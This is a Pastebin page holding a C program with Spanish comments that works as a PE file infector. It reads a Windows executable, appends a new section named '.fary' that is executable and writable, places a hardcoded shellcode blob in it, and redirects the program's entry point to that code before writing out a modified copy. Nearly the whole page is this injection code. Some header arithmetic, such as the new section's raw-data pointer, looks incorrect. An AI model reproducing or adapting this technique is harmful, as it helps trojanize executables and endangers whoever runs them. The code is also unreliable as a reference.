daily pastebin goal
9%
SHARE
TWEET

Untitled

a guest Jan 14th, 2018 46 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4.  
  5. DWORD align(DWORD number, DWORD alignment)
  6. {
  7.   if(number % alignment == 0)
  8.     return number;
  9.   else
  10.     return (number / alignment) * alignment + alignment;
  11. }
  12.  
  13. char code[] = "\xE8\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x5A\x81\xEA\x0A\x10\x40"\
  14. "\x00\x89\xD1\x81\xC1\x31\x10\x40\x00\xB8\x7B\x1D\x80\x7C\x51\xFF\xD0\x6A\x00\x6A"\
  15. "\x00\x6A\x00\x6A\x00\xB8\xEA\x07\x3D\x7E\xFF\xD0\xC3\x75\x73\x65\x72\x33\x32\x2E"\
  16. "\x64\x6C\x6C\x00";
  17.  
  18. int main()
  19. {
  20.     IMAGE_DOS_HEADER dh;
  21.     IMAGE_NT_HEADERS nth;
  22.  
  23.     IMAGE_SECTION_HEADER * seccion;
  24.     IMAGE_SECTION_HEADER nSeccion;
  25.     // char * stub_dos -> Datos del STUB_DOS
  26.     //dSecciones-> Datos de las secciones
  27.  
  28.     long TamanoSecciones = 0;
  29.     //int i;
  30.  
  31.     FILE * archivo = fopen("c:\\IsDgb.exe","r+b");
  32.     if (archivo == NULL)
  33.     {
  34.         printf("Error al leer el archivo\n");
  35.         system("PAUSE");
  36.  
  37.         return 1;
  38.     }
  39.  
  40.     fread(&dh,sizeof(dh),1,archivo); // Rellenamos IMAGE_DOS_HEADER
  41.  
  42.     char * stub_dos = (char*)malloc(dh.e_lfanew-0x40);
  43.  
  44.     fread(stub_dos,1,dh.e_lfanew-0x40,archivo); // Leemos el Stub DOS
  45.     fread(&nth,sizeof(nth),1,archivo); // leemos nt headers
  46.  
  47.     seccion = (IMAGE_SECTION_HEADER*)malloc(sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections);
  48.  
  49.     fread(seccion,sizeof(IMAGE_SECTION_HEADER),nth.FileHeader.NumberOfSections,archivo);// leemos lascabeceras
  50.     fseek(archivo,sizeof(dh)+(dh.e_lfanew-0x40)+sizeof(nth)+(sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections)+0x28,SEEK_SET);
  51.     // nos saltamos el espacio de 0's donde va a estar nuestra cabecera.
  52.  
  53.     TamanoSecciones =  (seccion[nth.FileHeader.NumberOfSections-1].PointerToRawData + seccion[nth.FileHeader.NumberOfSections-1].SizeOfRawData) - seccion[0].PointerToRawData;
  54.  
  55.     char * dSecciones = (char*)malloc(TamanoSecciones);
  56.     fread(dSecciones,TamanoSecciones,1,archivo); // leemos el cuerpo de las secciones.
  57.  
  58.     fclose(archivo); // terminamos de leer
  59.  
  60.     strcpy((char*)nSeccion.Name,".fary"); // nombre de la nueva sección: .fary
  61.     nSeccion.VirtualAddress = align(seccion[nth.FileHeader.NumberOfSections-1].VirtualAddress + seccion[nth.FileHeader.NumberOfSections-1].Misc.VirtualSize, nth.OptionalHeader.SectionAlignment);
  62.     nSeccion.SizeOfRawData = align(sizeof(code), nth.OptionalHeader.FileAlignment);
  63.     nSeccion.PointerToRawData = align(sizeof(code),nth.OptionalHeader.FileAlignment);
  64.     nSeccion.Characteristics = 0xE0000060;
  65.     nSeccion.Misc.VirtualSize = sizeof(code);
  66.  
  67.     nth.FileHeader.NumberOfSections +=1; // sumamos la nueva sección
  68.     nth.OptionalHeader.SizeOfImage = align(sizeof(code)+nSeccion.VirtualAddress,nth.OptionalHeader.SectionAlignment);
  69.     nth.OptionalHeader.SizeOfHeaders += 0x28;
  70.  
  71.     nth.OptionalHeader.AddressOfEntryPoint = nSeccion.VirtualAddress;
  72.  
  73.     FILE * nuevo = fopen("Nuevo1.exe","wb+"); // Generamos el nuevo archivo :P
  74.  
  75.     fwrite(&dh,sizeof(dh),1,nuevo);
  76.     fwrite(stub_dos,dh.e_lfanew-0x40,1,nuevo);
  77.     fwrite(&nth,sizeof(nth),1,nuevo);
  78.     nth.FileHeader.NumberOfSections -= 1;
  79.     fwrite(seccion,sizeof(IMAGE_SECTION_HEADER)*nth.FileHeader.NumberOfSections,1,nuevo);
  80.     fwrite(&nSeccion,sizeof(IMAGE_SECTION_HEADER),1,nuevo);
  81.  
  82.     fwrite(dSecciones,TamanoSecciones,1,nuevo);
  83.  
  84.     fwrite(code,sizeof(code),1,nuevo);
  85.  
  86.     fclose(nuevo);
  87.  
  88.     system("PAUSE");
  89.     return 0;
  90. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top